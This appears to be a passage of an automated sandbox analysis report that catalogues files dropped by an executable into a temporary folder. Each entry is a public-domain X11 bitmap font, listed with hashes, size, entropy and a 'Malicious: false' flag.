Preview:	.fcp............................d...(........... ................R.............. ....\.. ............b..@............h...............m..........d....{............................... ....,...3....9...;....I...P...._...`........k........v....H........H.................Z..............................................................Z........Z..."........-........6....2...F....R...]....b...k........r....c...}.........FOUNDRY.GaTech.FAMILY_NAME.3270.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.3270cg.CHARSET_ENCODING.1.MIN_SPACE.NORM_SPACE.MAX_SPACE.END_SPACE.AVG_CAPITAL_WIDTH.AVG_LOWERCASE_WIDTH.CAP_HEIGHT.X_HEIGHT.RELATIVE_WEIGHT.DESTINATION.Video Text.FONT.3270gt16.WEIGHT.RESOLUTION.QUAD_WIDTH..........................................................................................................8......................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\3270gt16b.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	31716
Entropy (8bit):	3.0907201405182807
Encrypted:	false
SSDEEP:	192:O13IVRBRpiJJRJJxQ8AuCNXHYZc5jAM7ya:O13IFRpiJJRJJx5AuuXZOa
MD5:	150B1A4A90AFEA0EEC141AAE6E3F22E3
SHA1:	33016111096A74AD1F15A402915E819DA9CF7046
SHA-256:	8829E635D0B90F6E8FF4CE40E3F66AA60254FF2F034FB12FBEF549A52FA3202C
SHA-512:	425C7230708E66A4E409C266F864ABB8EF0DB6EC1D8ED43014BDBF21E68563B9E48775052D8DF7BFA9A96AE57A7631C221623F692B7E6CB3603D0AB33A56C569
Malicious:	false
Preview:	.fcp............................d...,........... ................R.............. ....\.. ............b..@............h...............m..........d....{............................... ....,...1....7...9....G...N....]...^........i........t....H........H.................Z..............................................................Z........Z... ........+........4....2...D....P...[....`...m........t....c.............FOUNDRY.GaTech.FAMILY_NAME.3270.WEIGHT_NAME.Bold.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.3270cg.CHARSET_ENCODING.1.MIN_SPACE.NORM_SPACE.MAX_SPACE.END_SPACE.AVG_CAPITAL_WIDTH.AVG_LOWERCASE_WIDTH.CAP_HEIGHT.X_HEIGHT.RELATIVE_WEIGHT.DESTINATION.Video Text.FONT.3270gt16bold.WEIGHT.RESOLUTION.QUAD_WIDTH............................................................................................................8..................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\3270gt24.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	41696
Entropy (8bit):	3.0050150851108497
Encrypted:	false
SSDEEP:	384:yzH7iiiXLBtJMhiiiiiXiioCIi5ikF8iiiiZPc8c/AuuXZOO:1vrnAc8c/AueZH
MD5:	476BB12EF177CDA3D66FDD3384EF649C
SHA1:	27C6C8831466C2C9BE1C92A2344753E720B60EAA
SHA-256:	CED1D31593193D287BE0FE66D66B932DB414000893DAFF4A425C9D53C756C92D
SHA-512:	3D952360F723C8DC129FAE579C1899382A818536DDBDC7909E279F939E08A6F8BA433CD396B50ADE92A6D8854D3582AB0ADB38FBC53FE92A5B7C0191B246F7D4
Malicious:	false
Preview:	.fcp............................d...(........... ................y.............. ....... ..............@......................................d.................................... ....,...3....9...;....I...P...._...`........k........v....H........H............................................................................................."........-........6....2...F....R...]....b...k........r....c...}.........FOUNDRY.GaTech.FAMILY_NAME.3270.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.3270cg.CHARSET_ENCODING.1.MIN_SPACE.NORM_SPACE.MAX_SPACE.END_SPACE.AVG_CAPITAL_WIDTH.AVG_LOWERCASE_WIDTH.CAP_HEIGHT.X_HEIGHT.RELATIVE_WEIGHT.DESTINATION.Video Text.FONT.3270gt24.WEIGHT.RESOLUTION.QUAD_WIDTH..........................................................................................................8......................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\3270gt24b.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	41700
Entropy (8bit):	3.1187566777533324
Encrypted:	false
SSDEEP:	384:OyHDDDDDj3T8cnjiC4zny39kmWWF33W2WMXlYjc8cS38/fM8QlNT6tFAuuXZOO:++38c8cS38/fM8QlyAueZH
MD5:	D07D54453332FBF72CD4BD53479BDDC3
SHA1:	A7434D9C383D615248875CC20347A0EFAD71FD9B
SHA-256:	17F92884077739AC3BB59FC5C380B456D57DDB2F9970712ECD281490E6DE5E56
SHA-512:	E143B616A59FEC43AAD0B8A708164DD93A724B002CC90853A0FD817EA228773C0700ABC797E5E5F23E77B851FFE4C417B9BA154BC49026EC4EE6A120698CE13F
Malicious:	false
Preview:	.fcp............................d...,........... ................y.............. ....... ..............@......................................d.................................... ....,...1....7...9....G...N....]...^........i........t....H........H............................................................................................. ........+........4....2...D....P...[....`...m........t....c.............FOUNDRY.GaTech.FAMILY_NAME.3270.WEIGHT_NAME.Bold.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.3270cg.CHARSET_ENCODING.1.MIN_SPACE.NORM_SPACE.MAX_SPACE.END_SPACE.AVG_CAPITAL_WIDTH.AVG_LOWERCASE_WIDTH.CAP_HEIGHT.X_HEIGHT.RELATIVE_WEIGHT.DESTINATION.Video Text.FONT.3270gt24bold.WEIGHT.RESOLUTION.QUAD_WIDTH............................................................................................................8..................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\3270gt32.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	51680
Entropy (8bit):	2.7352104555344323
Encrypted:	false
SSDEEP:	384:yMBI1j2HHQ91Qpzauma/yh5kEmuOGC3LrMngnrMoDl7rgkag88bLdpAuuXZOA:HB02HHQ9aprZr3Dhrp88bfAueZJ
MD5:	780AAD16DFA85A5AD0CCA8289FA9D6B7
SHA1:	3AC30442E4ADB6955B69B69B5FEA22B8866BEA60
SHA-256:	FCDC6128FC06C2148DB63B12F44AE6E353B72BD7C204C61EBF7D82A62F395220
SHA-512:	C3619385476166AA836763AFE44937B5AA047534DD6A07F29D66810E6B0191FC6DF09697E0E6E3ABB6B0B3E7C014FF1A83D5AF8A9B9F336E8DB51A608A17D5D0
Malicious:	false
Preview:	.fcp............................d...(........... ............................... ....... ..............@......................................d.................................... ....,...3....9...;....I...P...._...`.... ...k....@...v....H........H............................................................................................."........-........6....2...F....R...]....b...k........r....c...}.........FOUNDRY.GaTech.FAMILY_NAME.3270.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.3270cg.CHARSET_ENCODING.1.MIN_SPACE.NORM_SPACE.MAX_SPACE.END_SPACE.AVG_CAPITAL_WIDTH.AVG_LOWERCASE_WIDTH.CAP_HEIGHT.X_HEIGHT.RELATIVE_WEIGHT.DESTINATION.Video Text.FONT.3270gt32.WEIGHT.RESOLUTION.QUAD_WIDTH..........................................................................................................8......................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\3270gt32b.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	51684
Entropy (8bit):	2.849728140355918
Encrypted:	false
SSDEEP:	768:QW8MnH5EmxCK2CnShnxBOnHWOOnaXbmPWB88ewZnf88zDrF88b1Hn8McAueZJ:Qaf0sXbgWN1r1CL4J
MD5:	4BDCD1CE67CD5CA571EFF103441C751B
SHA1:	F14EAEDE9E08BFE60DC6016517082C630FE9C7F7
SHA-256:	100679486D99487E06A357EDBEB24E324DA20643623B4987777CA88CC05BA396
SHA-512:	54C38487B3639EF9F436FF82D6BFCF5ABF7843BE455555AF6B1389387ED484EDD19A3EFBA37101EDEF5D95A450E4A5CE0BC17EEE7DE12CDF1BDCEEAFD4343D2A
Malicious:	false
Preview:	.fcp............................d...,........... ............................... ....... ..............@......................................d.................................... ....,...1....7...9....G...N....]...^.... ...i....@...t....H........H............................................................................................. ........+........4....2...D....P...[....`...m........t....c.............FOUNDRY.GaTech.FAMILY_NAME.3270.WEIGHT_NAME.Bold.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.3270cg.CHARSET_ENCODING.1.MIN_SPACE.NORM_SPACE.MAX_SPACE.END_SPACE.AVG_CAPITAL_WIDTH.AVG_LOWERCASE_WIDTH.CAP_HEIGHT.X_HEIGHT.RELATIVE_WEIGHT.DESTINATION.Video Text.FONT.3270gt32bold.WEIGHT.RESOLUTION.QUAD_WIDTH............................................................................................................8..................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\3270gt8.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	20120
Entropy (8bit):	3.5525509086000167
Encrypted:	false
SSDEEP:	96:e2FzqyH1sMeWn8XeruCNzLO+NzGpAoNUN6cmyjAM7xzZka6R:b6jW8AuCNXHYZc5jAM7yR
MD5:	E597F62208140E1C75BEA2AE4F4D832C
SHA1:	0238429D052B45FBDE6685F9B1433652B623D2FF
SHA-256:	A021BBA13AFDDAB921DEFD2870AF39B6F7FB2ED9837C375FA98C6E52701996F1
SHA-512:	BA2A3B0C24B81B47BE9D6AFB5459DFFF856E06DD7CA73A8388F7B22AAE873EF57F423C293CCBB5A7A9AE316671E1C1BB45EE3DFF18F3593C670DA8B8B5BFB01B
Malicious:	false
Preview:	.fcp............................d............... ...\|............+...... ............5..@............;...............@..........d...hN............................... ....,...3....9...;....I...P...._...`........k....P...v....H........H.................2..............................................................2........2..."........-........6....2...F....R...]....b...j........q....c...\|.........FOUNDRY.GaTech.FAMILY_NAME.3270.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.3270cg.CHARSET_ENCODING.1.MIN_SPACE.NORM_SPACE.MAX_SPACE.END_SPACE.AVG_CAPITAL_WIDTH.AVG_LOWERCASE_WIDTH.CAP_HEIGHT.X_HEIGHT.RELATIVE_WEIGHT.DESTINATION.Video Text.FONT.3270gt8.WEIGHT.RESOLUTION.QUAD_WIDTH...........................................................................................................8......................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\3270h.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	17676
Entropy (8bit):	3.4539855058823754
Encrypted:	false
SSDEEP:	96:7peIllllllvvI0OFIeIsl6un/BED2JQnTBpB+ThWakpSmaqpUu8zcoNUWMcmyjAR:7pRegs/BEDT1pB+oaKTaqKNGc5jAR
MD5:	B9C7ECE36446EE1352F7D83D5D11C4C2
SHA1:	644D1E0825E75076CA258E01DD1558D45C7B2674
SHA-256:	5B5CE7B3CCC5E89A97E3B3D039651A7CE54C19688A1FFA8038269164EDABCAE0
SHA-512:	5920ADC80605F059630FDD2418979649D27A2A9E4DA5954529618EBFB6D6541A078E4D6E41ED35E2B22D0A21F186E377B7179A624969C6D2E2084277702FC04C
Malicious:	false
Preview:	.fcp............................d...X...........................P,...... ............4..@...........$6..............,:..........d....D............................... ....,...1....=...D....J...L....Z...a........l........w....H........H...................................Z............................................c.............FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.3270.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.CHARSET_REGISTRY.3270cg.CHARSET_ENCODING.8.AVERAGE_WIDTH.CAP_HEIGHT.X_HEIGHT.FONT.3270h.WEIGHT.RESOLUTION.QUAD_WIDTH..................................................................................................................................................\|.................................................}....y....y............................................................................................................................}........................\|........................z....w....z....}....

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\4x6-ISO8859-1.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	13344
Entropy (8bit):	3.844637688921662
Encrypted:	false
SSDEEP:	96:GLaJMT/qOiqn1GOuPhW8TF/lSoVgjWqEHR3bZ3Ea8OoIOll07eR:GmJMQK1ZQjxzqYZTAGW
MD5:	3D8E79D096C03984D9B57AC13FEB2D52
SHA1:	5D16DC6EC6DF908095BDCF5BF832EBB57FBE5EC5
SHA-256:	392DD6316FCC415E854A8183A181F94CB518D3DC9BBE23C8ABDECD739301F2BD
SHA-512:	47096350CA7F91F6CA63E5C0F654C99A918AE7C252EA0DE539E62E5FBC3B05B4CBEAC9FD09567C136E2E0F05B1F660A266D8DBB90D91B9CD6DE0666C184883B5
Malicious:	false
Preview:	.fcp............l...............d...............d...h...........\|...............d...H .. ............$..@............&..............@*..........d....3............................... ....,...2....>...E....K...M....[...b....q...r........}....<........K........K.................(......................................."........-........6....;...r........y....g..............FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.Fixed.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.1.DESTINATION.COPYRIGHT.Public domain font. Share and enjoy..CAP_HEIGHT.X_HEIGHT.FONT.-Misc-Fixed-Medium-R-Normal--6-60-75-75-C-40-ISO8859-1.WEIGHT.RESOLUTION.QUAD_WIDTH.....................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\5x7-ISO8859-1.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	14236
Entropy (8bit):	3.8474206956155816
Encrypted:	false
SSDEEP:	96:GmXJMtxS+BDP7u6WFqDlSoVgjWqEHR3bZ3Ea8OoIOll07eI:GMJMtQ+3WyxzqYZTAGf
MD5:	FD420C53D7CC0BD422ABC907B04E5CD3
SHA1:	0D5A6202E4EC7DD66358FF61643D284CF0AD4305
SHA-256:	CF398FEC37BB73B20C84CC71E26023B5959A5566109CBB2EEAD73C359D9CE0FA
SHA-512:	F262DEE4C43534C74BF573A66F1C8C75C7EDEA3C4316A799E87E008002CB43D065D381C28CB81B8508036190A2E125AE1CF41D33AC90A44CE26726F79B61D283
Malicious:	false
Preview:	.fcp............l...............d...............d...h...........................d....#.. ...........((..@...........8*...............-..........d...T7............................... ....,...2....>...E....K...M....[...b....q...r........}....F........K........K.................2......................................."........-........6....;...r........y....g..............FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.Fixed.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.1.DESTINATION.COPYRIGHT.Public domain font. Share and enjoy..CAP_HEIGHT.X_HEIGHT.FONT.-Misc-Fixed-Medium-R-Normal--7-70-75-75-C-50-ISO8859-1.WEIGHT.RESOLUTION.QUAD_WIDTH.....................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\5x8-ISO8859-1.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	15108
Entropy (8bit):	3.663382549302497
Encrypted:	false
SSDEEP:	96:aIlczJ0hTyH1snbz0g7xJUWzoCvea8OMMoUMMWFAlSoVgjWqEHR3bZ3Ea8OoIOlh:aIEJ07f1RUxGxzqYZTAGm
MD5:	00C698F392015B3996564EAFD3D985F7
SHA1:	AA9CD53268DFF8CE4C4FF424962515F2C9DC7AA7
SHA-256:	BB7A3960CDAFE91D301C2D9C74D97F6B03EB778E1CB1C1516CF594500E7C737B
SHA-512:	CE6F4F5AA81D728FCB21BC014128B829AADBFD54E63954D89D1265DA1EA28B02206A66ED65C52E8C30EE5737F40E4B3527837215CD78F0CFFD980E95196C0B9A
Malicious:	false
Preview:	.fcp............X...............d...............d...T...........t...............d...,'.. ............+..@............-..............$1..........d....:............................... ....,...2....>...E....K...M....[...b....q...r........}....P........K........K.................2.......................................!........*..../...f........m....g...x...........FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.Fixed.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.1.COPYRIGHT.Public domain font. Share and enjoy..CAP_HEIGHT.X_HEIGHT.FONT.-Misc-Fixed-Medium-R-Normal--8-80-75-75-C-50-ISO8859-1.WEIGHT.RESOLUTION.QUAD_WIDTH.........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\6x10-ISO8859-1.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	16912
Entropy (8bit):	3.463741897694007
Encrypted:	false
SSDEEP:	96:Gflb9J7qqetduyIhkUCAE4t5F/lSoVgjWqEHR3bZ3Ea8OoIOll07e7:GfPJ7qqKGjxzqYZTAGA
MD5:	B679974F73C1710894378ACBE060878C
SHA1:	1BAE322490A3C04A200A8FC0E65222D86417A799
SHA-256:	3072B4462F7B7FFF91880EADDCDA74644F20B602D992AB0769AA99DF4888A313
SHA-512:	D14AC589D8F2007444A1D80B147A2D18EFDD68FD4722DAB5869258980BD7AD083A3A3DA2476D78668459C225AE46BB3102AAD9CF2B24EF78BD25E8E83ABACA50
Malicious:	false
Preview:	.fcp............l...............d...............d...h...........l&..............d...8... ............2..@............4..............08..........d....A............................... ....,...2....>...E....K...M....[...b....q...r........}....d........K........K.................<..............................(........3........<....A...z.............g...............FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.Fixed.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.1.COPYRIGHT.Public domain terminal emulator font. Share and enjoy..CAP_HEIGHT.X_HEIGHT.FONT.-Misc-Fixed-Medium-R-Normal--10-100-75-75-C-60-ISO8859-1.WEIGHT.RESOLUTION.QUAD_WIDTH.....................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\6x12-ISO8859-1.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	18756
Entropy (8bit):	3.2676586021492486
Encrypted:	false
SSDEEP:	96:qN0iVlKJpvIHPiADu1XSUylcVFclSoVgjWqEHR3bZ3Ea8OoIOll07eV:qN0iVlKJpAPiCkSxzqYZTAGe
MD5:	58034726C97CF483842D3944FE59E051
SHA1:	E1A7BE9477A312A5076DDEC3EEC920465B6B4A86
SHA-256:	3CBC0B06FC945A3C991684DC88F7D0AE8DC084701034BAD079E0E4002864334B
SHA-512:	B8A7929B47686D700276C33447372721BAEC3EE0D9E80C701AB7386A290C31BA417F9C9F6B9EE59679A97A7AE8D00C070A3517C221620D1D45D2F44A79F7A07B
Malicious:	false
Preview:	.fcp............................d...@...........d...............d-..............d...l5.. ............9..@............;..............d?..........d....H............................... ....,...2....>...E....K...M....[...i....x...y.............x........K........K.................<............................../........:........C....P...h....m.................g..............FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.Fixed.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.SemiCondensed.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.1.COPYRIGHT.Public domain terminal emulator font. Share and enjoy..CAP_HEIGHT.X_HEIGHT._GBDFED_INFO.Edited with gbdfed 1.3..FONT.-Misc-Fixed-Medium-R-SemiCondensed--12-110-75-75-C-60-ISO8859-1.WEIGHT.RESOLUTION.QUAD_WIDTH..........................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\6x13-ISO8859-1.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	19584
Entropy (8bit):	3.244877380311142
Encrypted:	false
SSDEEP:	96:q7xPJCO1SZPbQyy6EKFclSoVgjWqEHR3bZ3Ea8OoIOll07eM:q7xPJCO1SZPbQyVEKSxzqYZTAGH
MD5:	9F5713274CBCAD2B0E65FD03C22A54CF
SHA1:	D7D21CA8148D3D2C7437676B153465B326854C2E
SHA-256:	B15E1A6185A5FECBEEC6E4DA6F7D5CD563990F3B29BFF08226FCB51545EC7ABC
SHA-512:	B37454B85962E53AB00759E544AECA968C3E4D8069432B38BCB9F288FBD06BDA6ED34BF71C5C8180A7E0F7BC9AF5F100BD45751D6E553EC7BD1CB5E82DBC931A
Malicious:	false
Preview:	.fcp............h...............d...............d...d............0..............d....8.. ............=..@............?...............B..........d...8L............................... ....,...2....>...E....K...M....[...i....x...y.............x........K........K.................<.......................................(........1....6...v........}....g...............FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.Fixed.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.SemiCondensed.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.1.COPYRIGHT.Public domain font. Share and enjoy..CAP_HEIGHT.X_HEIGHT.FONT.-Misc-Fixed-Medium-R-SemiCondensed--13-120-75-75-C-60-ISO8859-1.WEIGHT.RESOLUTION.QUAD_WIDTH.........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\6x13.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	495956
Entropy (8bit):	3.3644926803598425
Encrypted:	false
SSDEEP:	3072:MVUatE1+8wFVCy7GhQbCdrzxZj9xnzGKFe95Z1sSbFfVD31c+nEhoi:MVRUwFsuGhQbCdGM
MD5:	1052E593039D9B7F6513F995F001CF2B
SHA1:	22BAFF6874E5AA811AAE93F1D2557B2EA388C718
SHA-256:	D214C92DF43F3C51B4BE135CFEF8F66A300274A927B594341E96BAE5A50D87ED
SHA-512:	CB0E9D1A05113E63CBE1A9EFB3841AE5910182D8BFD049E2B3E99DF6FBF4EB4BB11FA67803872A794C1E7DCCDFBBC9D0FFC0F6ABAE07A2B44F34DB2AF863C6E8
Malicious:	false
Preview:	.fcp............................d...0............V..............(... Z...........V..H#.. ............y..@.......@E...y..............$...........d.................................... ....,...2....>...E....K...M....[...i....x...y.............x........K........K.................<...................................,...E........P........Y....^.................g..............FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.Fixed.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.SemiCondensed.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO10646.CHARSET_ENCODING.1.COPYRIGHT.Public domain font. Share and enjoy.._XMBDFED_INFO.Edited with xmbdfed 4.5..CAP_HEIGHT.X_HEIGHT.FONT.-Misc-Fixed-Medium-R-SemiCondensed--13-120-75-75-C-60-ISO10646-1.WEIGHT.RESOLUTION.QUAD_WIDTH..........................................................................................................N..............................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\6x13B-ISO8859-1.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	19580
Entropy (8bit):	3.2395904380231353
Encrypted:	false
SSDEEP:	96:eksl1SZPbGGFZFRkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkZ:eksl1SZPbZfIxzqYZTAGY
MD5:	DE4BA4196F98DEB21116188AB61514FA
SHA1:	B7F8FAD8D90A599B93D0518F7AF9093F2BC512B9
SHA-256:	607C5552EB571916DD22ED3E421B18CBF10E69FCF6968894E994D6674F7D5464
SHA-512:	C5F3702FCB60DFED04E4D9A5737CF3184B9B1EF810AB1219E27A09A800F037996BDE44E53D5A5B49435B52D2E6568641A4E00708D2BAD571E64E1505E7F86A14
Malicious:	false
Preview:	.fcp............d...............d...............d...`............0..............d....8.. ............=..@............?...............B..........d...4L............................... ....,...2....>...C....I...K....Y...g....v...w.............x........K........K.................<.......................................&......../....4...r........y....k...............FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.Fixed.WEIGHT_NAME.Bold.SLANT.R.SETWIDTH_NAME.SemiCondensed.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.1.COPYRIGHT.Public domain font. Share and enjoy..CAP_HEIGHT.X_HEIGHT.FONT.-Misc-Fixed-Bold-R-SemiCondensed--13-120-75-75-C-60-ISO8859-1.WEIGHT.RESOLUTION.QUAD_WIDTH.............................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\6x13O-ISO8859-1.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	17020
Entropy (8bit):	3.250014452193421
Encrypted:	false
SSDEEP:	96:qXxPJ1m71SZPiZ4cznmZmR+ZOGXanbZ3Ea8OoIOll07eI:qXxPJ1Y1SZPvcKZmoZOUabZTAGV
MD5:	A80A484FCAE831C5F017FB97E9A4A049
SHA1:	1A8C943D79681EBDCD219E619959068C6FEE2C2A
SHA-256:	62034625B4BF599A236BF9DCADF3A1FAB6873E75CA29DE393F7918C987EF50F2
SHA-512:	1FBB2411711DBC4CF7F4004B90CA08329684E100E66CB3A30189AB9DC85F37A8851FAFCA2B267C98C9FBBFF863970EC5A2CA46196C5EDD955A476E745D33CCA5
Malicious:	false
Preview:	.fcp............h...............d...................d............*..,...............D1.. ............5..@............7..............$:..........d...4B............................... ....,...2....>...E....K...M....[...i....x...y.............x........K........K.................<.......................................(........1....6...v........}....g...............FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.Fixed.WEIGHT_NAME.Medium.SLANT.O.SETWIDTH_NAME.SemiCondensed.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.1.COPYRIGHT.Public domain font. Share and enjoy..CAP_HEIGHT.X_HEIGHT.FONT.-Misc-Fixed-Medium-O-SemiCondensed--13-120-75-75-C-60-ISO8859-1.WEIGHT.RESOLUTION.QUAD_WIDTH..........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\6x9-ISO8859-1.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	16000
Entropy (8bit):	3.579086725545108
Encrypted:	false
